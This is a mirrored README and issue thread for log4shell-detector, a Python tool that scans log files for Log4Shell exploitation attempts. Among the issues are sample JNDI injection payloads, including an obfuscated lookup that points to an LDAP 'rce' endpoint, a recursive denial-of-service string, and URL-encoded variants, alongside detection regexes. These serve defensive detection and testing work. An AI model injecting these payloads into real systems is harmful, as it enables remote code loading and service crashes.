Code Monkey home page Code Monkey logo

log4shell-detector's Introduction

Not Maintained

log4shell-detector

Detector for Log4Shell exploitation attempts

What it does and doesn't do

It does: It checks local log files for indicators of exploitation attempts, even heavily obfuscated ones that string or regular expression based patterns wouldn't detect.

  • It doesn't find vulnerable applications
  • It doesn't and can't verify if the exploitation attempts were successful

Idea

The problem with the log4j CVE-2021-44228 exploitation is that the string can be heavily obfuscated in many different ways. It is impossible to cover all possible forms with a reasonable regular expression.

The idea behind this detector is that the respective characters have to appear in a log line in a certain order to match.

${jndi:ldap:

Split up into a list it would look like this:

['$', '{', 'j', 'n', 'd', 'i', ':', 'l', 'd', 'a', 'p', ':']

I call these lists 'detection pads' in my script and process each log line character by character. I check if each character matches the first element of the detection pads. If the character matches a character in one of the detection pads, a pointer moves forward.

When the pointer reaches the end of the list, the detection triggered and the script prints the file name, the complete log line, the detected string and the number of the line in the file.

I've included a decoder for URL based encodings. If we need more, please let me know.

Usage

usage: log4shell-detector.py [-h] [-p path [path ...] | -f path [path ...] | --auto] [-d distance] [--quick] [--debug] [--summary]

Log4Shell Exploitation Detectors

optional arguments:
  -h, --help          show this help message and exit
  -p path [path ...]  Path to scan
  -f path [path ...]  File to scan
  --auto              Automatically evaluate locations to which logs get written and scan these folders recursively (new default if no path is given)
  -d distance         Maximum distance between each character
  -c check_usage      Check log4j usage before launching the scan
  --debug             Debug output
  --defaultpaths      Scan a set of default paths that should contain relevant log files.
  --quick             Skip log lines that don't contain a 2021 or 2022 time stamp
  --debug             Debug output
  --summary           Show summary only
  --silent            Silent Mode. Only output on matches and errors

Get started

  1. Make sure that the target systems on which you'd like to run log4shell-detector has python installed: python -V and see if Python 3 is available python3 -V

  2. Download this Repo by clicking "Code" > "Download ZIP"

  3. Extract the package and bring othe comlete package to the target system (e.g. with scp)

  4. Run it with python3 log4shell-detector.py -p /var/log (if python3 isn't available use python)

  5. If your applications log to a different folder than /var/log find out where the log files reside and scan these folders. Find locations to which apps write logs with lsof | grep '\.log'.

  6. Review the results (see FAQs for details)

Using ansible-playbook

You can also use the playbook.yml which copies the needed files on the server, runs the script and only shows something if a match was found.

Use it like this:

ansible-playbook -i hosts playbook.yml

which could result in something like this:

TASK [Run the script] ******************************************************************************************************************************************************
fatal: [foo]: FAILED! => changed=false 
  <omitted>
  stdout: |-
    [!] FILE: /var/log/messages LINE_NUMBER: 6098 DEOBFUSCATED_STRING: ${jndi:ldap: LINE: ${jndi:ldap:foo
    [!] 1 files with exploitation attempts detected in PATH: /var/log/

FAQs

I don't use log4j on that server but the scanner reports exploitation attempts. Am I affected?

No. But can you be sure that no application uses log4j?

You can try to find evidence of log4j usage running these commands:

ps aux | egrep '[l]og4j'
find / -iname "log4j*"
lsof | grep log4j
find . -name '*[wj]ar' -print -exec sh -c 'jar tvf {} | grep log4j' \;

If none of these commands returned a result, you should be safe.

My applications use log4j and I've found evidence of exploitation attempts? Am I compromised?

It is possible, yes. First check if the application that you use is actually affected by the vulnerability. Check the JAVA and log4j versions, check the vendor's blog for an advisory or test the application yourself using canary tokens.

If your application is affected and vulnerable and you plan to do a forensic investigation,

  1. create a memory image of that system (use e.g. VMWare's snapshots or other tools for that)

  2. create a disk image of that system

  3. check the system's outgoing network connections in your firewall logs

  4. check the system's crontab for suspicious new entries (/etc/crontab). If you want and can, use our free tool THOR Lite for a basic compromise assessment.

  5. After some investigations, decide if you want and can disconnect that system from the Internet until you've verified that it hasn't been compromised.

Special Flags

--auto

Automatically select file paths to which log files get written. (default: overwrite with -p path or -f file)

--check_usage

Check log4j usage before launching the exploits scan. The usage of this optional flag stop the execution of the script if there is no log4j being used in the current system, the thing that helps saving time especially when it's about scanning an entire infrastructure.

--quick

Only checks log lines that contain a 2021 or 2022 to exclude all scanning of older log entries. We assume that the vulnerability wasn't exploited in 2019 and earlier.

--summary

Prints a summary of matches, with only the filename and line number.

--silent

Silent Mode. Only output on matches (stdout) and errors (stderr)

Requirements

  • Python 2 or Python 3

No further or special Python modules are required. It should run on any system that runs Python.

Screenshots

Screen1

Screen2

Help

There are different ways how you can help.

  1. Test it against the payloads that you find in the wild and let me know if we miss something.
  2. Help me find and fix bugs.
  3. Test if the scripts runs with Python 2; if not, we can add a slightly modified version to the repo.

Test Your Changes

Test your changes to the script with:

pytest

Requires:

pip install pytest

Contact

Twitter: @cyberops

log4shell-detector's People

Contributors

aylatalo avatar ayomawdb avatar bdols avatar dadav avatar edspiner avatar jasonkeirstead avatar jj1lfc avatar jurelou avatar kywa avatar m0n4 avatar neo23x0 avatar phantinuss avatar shutingrz avatar simaotwx avatar slrbl avatar stephangarland avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

log4shell-detector's Issues

Doing just the same using a RegEx

The following RegEx is just the equivalent.
Don't know, if it's not a reasonable regular expression anymore, but it's doable:

(?:\$|%24)(?:{|%7[Bb]).{0,30}(?:j|J|%[64][Aa]).{0,30}(?:n|N|%[64][Ee]).{0,30}(?:d|D|%[64]4).{0,30}(?:i|I|%[64]9).{0,30}(?::|%3[Aa]).{0,30}(?:(?:l|L||%[64][Cc]).{0,30}(?:d|D|%[64]4).{0,30}(?:a|A|%[64]1).{0,30}(?:p|P|%[75]0)(?:.{0,30}(?:s|S|%[72]3))?|(?:r|R|%[72]2).{0,30}(?:m|M|%[64][Dd]).{0,30}(?:i|I|%[64]9)|(?:d|D|%[64]4).{0,30}(?:n|N|%[64][Ee]).{0,30}(?:s|S|%[72]3)).{0,30}(?::|%3[Aa])

It matches the following strings, even if they are (partially) URL-encoded and case-insensitive:

  • ${jndi:ldaps:
  • ${jndi:ldap:
  • ${jndi:rmi:
  • ${jndi:dns:

Example:
image

Improvement Idea for the Script:
To reduce false positive chance and improve performance a bit, you could maybe force, that the '$' sign in the start is immediately followed by a '{'.

Windows Support

Will this work on a windows server? I see all the examples are linux and there's a reference to the tweet by @CyberRaiju for windows, but that just tells you which files have JndiLookup.class correct? Not if there's evidence of exploitation?

Exploit attempt?

I have ran this script on my pi. Per your screenshot you can see a line stating an exploit attempt. Mine says at the end that there is an exploit attempt, but doesn't tell me which log. I also get an error on one of the files, could be triggering that alert.

[.] Starting scan DATE: 2021-12-13 11:37:03.460995
[.] Scanning FOLDER: /var/log ...
[.] Processing /var/log/syslog.3.gz ...
[.] Processing /var/log/syslog.7.gz ...
[.] Processing /var/log/debug.1 ...
[.] Processing /var/log/fontconfig.log ...
[.] Processing /var/log/syslog.2.gz ...
[.] Processing /var/log/user.log.3.gz ...
[.] Processing /var/log/syslog.1 ...
[.] Processing /var/log/debug.4.gz ...
[.] Processing /var/log/dpkg.log.2.gz ...
[.] Processing /var/log/alternatives.log.2.gz ...
[.] Processing /var/log/auth.log.2.gz ...
[.] Processing /var/log/debug.3.gz ...
[.] Processing /var/log/daemon.log.3.gz ...
[.] Processing /var/log/debug ...
[.] Processing /var/log/btmp ...
[.] Processing /var/log/daemon.log.4.gz ...
[.] Processing /var/log/lastlog ...
[.] Processing /var/log/daemon.log.2.gz ...
[.] Processing /var/log/auth.log.1 ...
[.] Processing /var/log/dpkg.log.4.gz ...
[.] Processing /var/log/user.log.1 ...
[.] Processing /var/log/vncserver-x11.log ...
[.] Processing /var/log/user.log ...
[.] Processing /var/log/wtmp ...
[.] Processing /var/log/auth.log.4.gz ...
[.] Processing /var/log/user.log.2.gz ...
[.] Processing /var/log/alternatives.log.3.gz ...
[.] Processing /var/log/Xorg.0.log ...
[.] Processing /var/log/bootstrap.log ...
[.] Processing /var/log/kern.log.1 ...
[.] Processing /var/log/Xorg.0.log.old ...
[.] Processing /var/log/kern.log.4.gz ...
[.] Processing /var/log/dpkg.log ...
[.] Processing /var/log/messages.3.gz ...
[.] Processing /var/log/auth.log.3.gz ...
[.] Processing /var/log/syslog ...
[.] Processing /var/log/messages.4.gz ...
[.] Processing /var/log/dpkg.log.1 ...
[.] Processing /var/log/messages ...
[.] Processing /var/log/daemon.log.1 ...
[.] Processing /var/log/syslog.4.gz ...
[.] Processing /var/log/alternatives.log ...
[.] Processing /var/log/kern.log.3.gz ...
[.] Processing /var/log/btmp.1 ...
[.] Processing /var/log/syslog.5.gz ...
[.] Processing /var/log/messages.1 ...
[.] Processing /var/log/dpkg.log.3.gz ...
[.] Processing /var/log/daemon.log ...
[.] Processing /var/log/debug.2.gz ...
[.] Processing /var/log/auth.log ...
[.] Processing /var/log/messages.2.gz ...
[.] Processing /var/log/alternatives.log.4.gz ...
[.] Processing /var/log/faillog ...
[.] Processing /var/log/user.log.4.gz ...
[.] Processing /var/log/syslog.6.gz ...
[.] Processing /var/log/boot.log ...
[.] Processing /var/log/kern.log.2.gz ...
[.] Processing /var/log/kern.log ...
[.] Processing /var/log/alternatives.log.1 ...
[.] Processing /var/log/vncserver-x11.log.bak ...
[.] Processing /var/log/lightdm/x-0.log ...
[.] Processing /var/log/lightdm/lightdm.log.old ...
[.] Processing /var/log/lightdm/lightdm.log ...
[.] Processing /var/log/lightdm/seat0-greeter.log ...
[.] Processing /var/log/lightdm/x-0.log.old ...
[.] Processing /var/log/lightdm/seat0-greeter.log.old ...
[.] Processing /var/log/cups/error_log.2.gz ...
[.] Processing /var/log/cups/access_log.1 ...
[.] Processing /var/log/cups/error_log.4.gz ...
[.] Processing /var/log/cups/access_log.7.gz ...
[.] Processing /var/log/cups/error_log.5.gz ...
[.] Processing /var/log/cups/access_log ...
[.] Processing /var/log/cups/access_log.4.gz ...
[.] Processing /var/log/cups/error_log.3.gz ...
[.] Processing /var/log/cups/access_log.6.gz ...
[.] Processing /var/log/cups/error_log.6.gz ...
[.] Processing /var/log/cups/error_log.7.gz ...
[.] Processing /var/log/cups/access_log.2.gz ...
[.] Processing /var/log/cups/access_log.5.gz ...
[.] Processing /var/log/cups/error_log ...
[.] Processing /var/log/cups/error_log.1 ...
[.] Processing /var/log/cups/access_log.3.gz ...
[.] Processing /var/log/samba/log.smbd.1 ...
[.] Processing /var/log/samba/log.smbd ...
[.] Processing /var/log/samba/log.%m ...
[.] Processing /var/log/samba/log.nmbd ...
[.] Processing /var/log/samba/log. ...
[.] Processing /var/log/samba/log.192.168.15.7 ...
[.] Processing /var/log/samba/log.desktop-q4t69gh ...
[.] Processing /var/log/samba/log.nmbd.1 ...
[.] Processing /var/log/apt/term.log.1.gz ...
[.] Processing /var/log/apt/term.log.4.gz ...
[.] Processing /var/log/apt/history.log.4.gz ...
[.] Processing /var/log/apt/history.log.1.gz ...
[.] Processing /var/log/apt/history.log ...
[.] Processing /var/log/apt/term.log.2.gz ...
[.] Processing /var/log/apt/term.log ...
[.] Processing /var/log/apt/history.log.2.gz ...
[.] Processing /var/log/apt/history.log.3.gz ...
[.] Processing /var/log/apt/term.log.3.gz ...
[.] Processing /var/log/apt/eipp.log.xz ...
[!] FILE: /var/log/auth.log LINE_NUMBER: 124 DEOBFUSCATED_STRING: ${jndi:nds:/ LINE: Dec 13 10:56:12 raspberrypi sudo: pi : TTY=pts/0 ; PWD=/home/pi ; USER=root ; COMMAND=/usr/bin/egrep -I -i -r $({|%7B)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http):/[^\n]+ /var/log
[!] 1 files with exploitation attempts detected in PATH: /var/log
[!!!] 1 exploitation attempts detected in the complete scan
[.] Finished scan DATE: 2021-12-13 12:01:46.740776
[.] Scan took the following time to complete DURATION: 0 hours 24 minutes 43 seconds

invalid character in cmd [Version 10.0.14393] on Windows Server 2016

C:\Users\Administrator\Downloads>python log4shell-detector.py -p C:\windows
File "C:\Users\Administrator\Downloads\log4shell-detector.py", line 106
<title>log4shell-detector/log4shell-detector.py at main · Neo23x0/log4shell-detector · GitHub</title>
^
SyntaxError: invalid character '·' (U+00B7)

Payload used ITW

${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}

New payload results in DOS attack

Thank you for the brilliant code for scanning the payload!
I have an issues as follows :
Payload Description:
If a string substitution is attempted for any reason on the following string, it will trigger an infinite recursion, and the application will crash: ${${::-${::-$${::-j}}}}.
Reference : https://issues.apache.org/jira/browse/LOG4J2-3230

I tried the script to test whether it could bypass the mentioned payload and unfortunately it could not.So is it possible to modify the script to include this payload as well?
Thanks !

False alarms?

First off, many thanks for this great tool in this terrible situation!

Sorry if this is the wrong place to raise this, but it seems we might be getting false alarms on our system. I have run the detector a few times on /var/log and every time, it reports three lines as attempts in a cdebconf file, but the deobfuscated string is different each time.

Here are three examples:

[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 65224 DEOBFUSCATED_STRING: ${jndi:dns: LINE: Extended_description-ku.UTF-8: Cîhaza ku hatiye hilbijartin partîsiyonên ji bo cîhazên RAiD dihundirîne. Ew cîhaz û partîsiyon dê werin rakirin:\n\nCîhaza Software RAID li bêr rakirinê ye: ${REMOVED_DEVICES}\n\nPartition ji hêla van cîhazên RAID ve hat bikaranîn: ${REMOVED_PARTITIONS}\n\nNîşe: Her wisa evê her tim hemû daneyên li ser cîhazên RAID yên nivîsbarî jê bibe.
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 58996 DEOBFUSCATED_STRING: ${jndi:nis: LINE: Extended_description-sl.UTF-8: Povzetek trenutne nastavitve LVM:\n\n Prosti fizični nosilci:  ${FREE_PVS}\n Uporabljeni fizični nosilci:  ${USED_PVS}\n Skupine nosilcev:          ${VGS}\n Logični nosilci:        ${LVS}
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 58910 DEOBFUSCATED_STRING: ${jndi:nis: LINE: Extended_description-eo.UTF-8: Resumo de la nuna LVM-agordo:\n\n Liberaj Konkretaj Datumportiloj:  ${FREE_PVS}\n Uzataj Konktretaj Datumportiloj:  ${USED_PVS}\n Datumportilaj Grupoj:             ${VGS}\n Logikaj Datumportiloj:            ${LVS}
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 65224 DEOBFUSCATED_STRING: ${jndi:rmi: LINE: Extended_description-ku.UTF-8: Cîhaza ku hatiye hilbijartin partîsiyonên ji bo cîhazên RAiD dihundirîne. Ew cîhaz û partîsiyon dê werin rakirin:\n\nCîhaza Software RAID li bêr rakirinê ye: ${REMOVED_DEVICES}\n\nPartition ji hêla van cîhazên RAID ve hat bikaranîn: ${REMOVED_PARTITIONS}\n\nNîşe: Her wisa evê her tim hemû daneyên li ser cîhazên RAID yên nivîsbarî jê bibe.
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 58996 DEOBFUSCATED_STRING: ${jndi:nis: LINE: Extended_description-sl.UTF-8: Povzetek trenutne nastavitve LVM:\n\n Prosti fizični nosilci:  ${FREE_PVS}\n Uporabljeni fizični nosilci:  ${USED_PVS}\n Skupine nosilcev:          ${VGS}\n Logični nosilci:        ${LVS}
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 58910 DEOBFUSCATED_STRING: ${jndi:nis: LINE: Extended_description-eo.UTF-8: Resumo de la nuna LVM-agordo:\n\n Liberaj Konkretaj Datumportiloj:  ${FREE_PVS}\n Uzataj Konktretaj Datumportiloj:  ${USED_PVS}\n Datumportilaj Grupoj:             ${VGS}\n Logikaj Datumportiloj:            ${LVS}
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 65224 DEOBFUSCATED_STRING: ${jndi:dns: LINE: Extended_description-ku.UTF-8: Cîhaza ku hatiye hilbijartin partîsiyonên ji bo cîhazên RAiD dihundirîne. Ew cîhaz û partîsiyon dê werin rakirin:\n\nCîhaza Software RAID li bêr rakirinê ye: ${REMOVED_DEVICES}\n\nPartition ji hêla van cîhazên RAID ve hat bikaranîn: ${REMOVED_PARTITIONS}\n\nNîşe: Her wisa evê her tim hemû daneyên li ser cîhazên RAID yên nivîsbarî jê bibe.
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 58996 DEOBFUSCATED_STRING: ${jndi:nis: LINE: Extended_description-sl.UTF-8: Povzetek trenutne nastavitve LVM:\n\n Prosti fizični nosilci:  ${FREE_PVS}\n Uporabljeni fizični nosilci:  ${USED_PVS}\n Skupine nosilcev:          ${VGS}\n Logični nosilci:        ${LVS}
[!] FILE: /var/log/installer/cdebconf/templates.dat LINE_NUMBER: 58910 DEOBFUSCATED_STRING: ${jndi:dns: LINE: Extended_description-eo.UTF-8: Resumo de la nuna LVM-agordo:\n\n Liberaj Konkretaj Datumportiloj:  ${FREE_PVS}\n Uzataj Konktretaj Datumportiloj:  ${USED_PVS}\n Datumportilaj Grupoj:             ${VGS}\n Logikaj Datumportiloj:            ${LVS}

In addition, the file has not been touched since 2015:

-rw------- 1 root root 14M Mar 18  2015 /var/log/installer/cdebconf/templates.dat

Everything else, including your quick tests to check for log4j (thanks very much for those, too!), indicates that our systems should hopefully be unaffected by the log4j vuln.

Best wishes,
Rob

License

Could you please add a license statement and a LICENSE file?

Would make it easier to include into distributions.

Thanks

http statuscode to exploit attempts

Hello,

thanks for this tool.
How would you detect if an exploit has been successful via the http codes?
Would 404 code mean the request has been blocked and any 2xx code that it was successful?

Thanks in advance.

"Exploitation attempt detected", but pattern not in DETECTION_STRINGS. False positive?

log4shell-detector.py detects am exploitation attempt via patttern ${jndi:ldap: in a log file but the pattern is not in the log:

[!!!] Exploitation attempt detected FILE: /var/log/firstboot/vpxd-svcs_firstboot.py_24133_stdout.log LINE_NUMBER: 22 LINE: 2021-03-12T00:12:10.861Z ['# invsvc cisreg props\n', 'solutionUser.name = ${solution-user.name}\n', 'solutionUser.ownerId = ${solution-user.name}@${vmdir.domain-name}\n', 'cmreg.serviceid = ${invsvc.service-id}\n', '# invsvc registration spec properties\n', 'serviceVersion = 1.0\n', 'ownerId = ${solution-user.name}@${vmdir.domain-name}\n', 'serviceType.product = com.vmware.cis\n', 'serviceType.type = cs.inventory\n', 'serviceNameResourceKey = cs.inventory.ServiceName\n', 'serviceDescriptionResourceKey = cs.inventory.ServiceDescription\n', 'serviceGroupResourceKey = cs.inventory.servicegroupresource\n', 'serviceGroupInternalId = cs\n', 'controlScriptPath = ${controlscript.path}\n', 'hostId = ${sca.hostid}\n', 'endpoint0.url = https://${system.urlhostname}:${rhttpproxy.ext.port2}/invsvc\n', 'endpoint0.type.protocol = http\n', 'endpoint0.type.id = com.vmware.cis.inventory\n', 'endpoint1.url = https://${system.urlhostname}:${rhttpproxy.ext.port2}/invsvc/vmomi/sdk\n', 'endpoint1.type.protocol = vmomi\n', 'endpoint1.type.id = com.vmware.cis.inventory.server\n', 'endpoint2.url = https://${system.urlhostname}:${rhttpproxy.ext.port2}/invsvc/vmomi/sdk\n', 'endpoint2.type.protocol = vmomi\n', 'endpoint2.type.id = com.vmware.cis.tagging.server\n', 'endpoint3.url = https://${system.urlhostname}:${rhttpproxy.ext.port2}/invsvc/vapi\n', 'endpoint3.type.protocol = vapi.json.https\n', 'endpoint3.type.id = com.vmware.cis.inventory.vapi\n', 'endpoint3.data0.key = com.vmware.vapi.metadata.metamodel.file.authz\n', 'endpoint3.data0.value = /usr/lib/vmware-vpxd-svcs/vapi-metadata/authz/authz_metamodel.json\n', 'endpoint3.data1.key = com.vmware.vapi.metadata.authentication.file.authz\n', 'endpoint3.data1.value = /usr/lib/vmware-vpxd-svcs/vapi-metadata/authz/authz_authentication.json\n', 'endpoint3.data2.key = com.vmware.vapi.metadata.routing.file.authz\n', 'endpoint3.data2.value = /usr/lib/vmware-vpxd-svcs/vapi-metadata/authz/authz_routing.json\n', 'endpoint3.data3.key = com.vmware.vapi.metadata.metamodel.file.tagging\n', 'endpoint3.data3.value = /usr/lib/vmware-vpxd-svcs/vapi-metadata/tagging/com.vmware.cis.tagging_metamodel.json\n', 'endpoint3.data4.key = com.vmware.vapi.metadata.authentication.file.tagging\n', 'endpoint3.data4.value = /usr/lib/vmware-vpxd-svcs/vapi-metadata/tagging/com.vmware.cis.tagging_authentication.json\n', 'endpoint3.data5.key = com.vmware.vapi.metadata.cli.file.tagging\n', 'endpoint3.data5.value = /usr/lib/vmware-vpxd-svcs/vapi-metadata/tagging/com.vmware.cis.tagging_cli.json\n', 'endpoint4.url = https://${system.urlhostname}:${rhttpproxy.ext.port2}\n', 'endpoint4.type.protocol = gRPC\n', 'endpoint4.type.id = tagging\n', 'endpoint4.data0.key = cis.common.ep.localurl\n', 'endpoint4.data0.value = http://localhost:##{TAGGING_GRPC_PORT}##\n', 'attribute0.key = Syncable\n', 'attribute0.value = ELM,SPOG\n', 'attribute1.key = Subscribable\n', 'attribute1.value = true\n', 'health.url = https://${system.urlhostname}:${rhttpproxy.ext.port2}/invsvc/invsvc-health\n', 'resourcebundle.url = https://${system.urlhostname}:${rhttpproxy.ext.port2}/invsvc/invsvc-resource\n', 'resourcebundle.data0.key = com.vmware.cis.common.resourcebundle.basename\n', 'resourcebundle.data0.value = cs.inventory.ResourceBundle\n', '# reverse proxy configuration\n', 'rhttpproxy.file = invsvc-proxy.conf\n', 'rhttpproxy.endpoint0.namespace = /invsvc\n', 'rhttpproxy.endpoint0.connectionType = local\n', 'rhttpproxy.endpoint0.address = ${vpxd-svcs.int.http}\n', 'rhttpproxy.endpoint0.httpAccessMode = redirect\n', 'rhttpproxy.endpoint0.httpsAccessMode = allow\n'] DEOBFUSCATED_STRING: ${jndi:ldap:

MemoryError - [E] Can't process FILE: xxxx REASON: None

scan_file
result = self.check_line(line)
File "xxxx/log4shell-detector-main/Log4ShellDetector/Log4ShellDetector.py", line 82, in check_line
linechars = list(decoded_line)
MemoryError
[E] Can't process FILE: xxxx REASON: None

This can be an issue, especially with --auto detection, unusual txt files and and memory limited environments.

There is unnecessary list conversion in Log4ShellDetector. In this case no need to convert string to list in order to iterate the characters in the string. If list conversion is skipped, memory usage should decrease.

"for c in linechars:" is same as "for c in decoded_line:"

New query formats

$%7Bjndi:ldap://

%2524%257Bjndi:ldap:/

%2F%252524%25257Bjndi%3Aldap%3A%2F

gzipped log-file path validation

The gzipped file path validation assumes that there is "log." string in path-name. This causes problems if log-file naming format is something like "SystemOut.log-20211212.gz". Could the dot (.) be removed from validation condition?

Not working in version 0.11.1 / No module named 'Log4ShellDetector'

MyUser@MyHost:scripts>python3 Log4ShellDetector --auto
Traceback (most recent call last):

File "/home/MyUser/scripts/Log4ShellDetector", line 16, in
import Log4ShellDetector.Log4ShellDetector as Log4ShellDetector
ModuleNotFoundError: No module named 'Log4ShellDetector'

segfault on linux

Script exits with a segfault on CentOS 7/8

go run log4j-vuln-finder.go /
/tmp/go-build257162864/b001/exe/log4j-vuln-finder - a simple local log4j vulnerability scanner

panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x18 pc=0x4c8075]

goroutine 1 [running]:
main.main.func1(0xc0001cb6a0, 0x11, 0x0, 0x0, 0x5195c0, 0xc000202030, 0x0, 0x0)
        /home/<USER>/local-log4j-vuln-scanner/log4j-vuln-finder.go:120 +0x55
path/filepath.walk(0xc000480f10, 0xf, 0x51a320, 0xc0001fd930, 0x4fe030, 0x0, 0x0)
        /usr/lib/golang/src/path/filepath/path.go:380 +0x213
path/filepath.walk(0xc000480ce0, 0xc, 0x51a320, 0xc0001fc9c0, 0x4fe030, 0x0, 0x0)
        /usr/lib/golang/src/path/filepath/path.go:384 +0x2fe
path/filepath.walk(0xc00013ff16, 0x5, 0x51a320, 0xc00030c8f0, 0x4fe030, 0x0, 0x0)
        /usr/lib/golang/src/path/filepath/path.go:384 +0x2fe
path/filepath.walk(0x7ffdfd65d66e, 0x1, 0x51a320, 0xc00005cdd0, 0x4fe030, 0x0, 0x60)
        /usr/lib/golang/src/path/filepath/path.go:384 +0x2fe
path/filepath.Walk(0x7ffdfd65d66e, 0x1, 0x4fe030, 0x31, 0xc000062f68)
        /usr/lib/golang/src/path/filepath/path.go:406 +0x105
main.main()
        /home/<USER>/local-log4j-vuln-scanner/log4j-vuln-finder.go:119 +0x208
exit status 2

Add references/steps to follow for removing the exploit.

I ran the script on my server and got the below results. However, neither Java nor log4j is installed on my server. Please guide me on what to do next.
sudo python3 log4shell-detector.py -p /var/log/ --summary

[.] Starting scan DATE: 2021-12-14 05:34:03.155342
[.] Scanning FOLDER: /var/log/ ...

[!] 10 files with exploitation attempts detected in PATH: /var/log/
[!] FILE: /var/log/gitlab/gitlab-workhorse/current LINE_NUMBER: 255 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.3.gz LINE_NUMBER: 1489 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.3.gz LINE_NUMBER: 2204 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.3.gz LINE_NUMBER: 2205 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.3.gz LINE_NUMBER: 2444 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.3.gz LINE_NUMBER: 2445 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 1 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 2 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 3 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 136 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 157 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 158 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 159 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 372 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 373 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 374 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 375 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 376 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 581 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 582 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 583 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 584 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.2.gz LINE_NUMBER: 1227 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 25 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 52 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 63 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 64 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 165 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 1332 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 1537 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/nginx/gitlab_access.log.1.gz LINE_NUMBER: 1580 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/gitlab-rails/production.log.2.gz LINE_NUMBER: 2043 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production.log.2.gz LINE_NUMBER: 2045 STRING: ${jndi:ldap:
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.1.gz LINE_NUMBER: 504 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.1.gz LINE_NUMBER: 505 STRING: ${jndi:dns:/
[!] FILE: /var/log/gitlab/gitlab-rails/production_json.log.1.gz LINE_NUMBER: 5507 STRING: ${jndi:ldap:
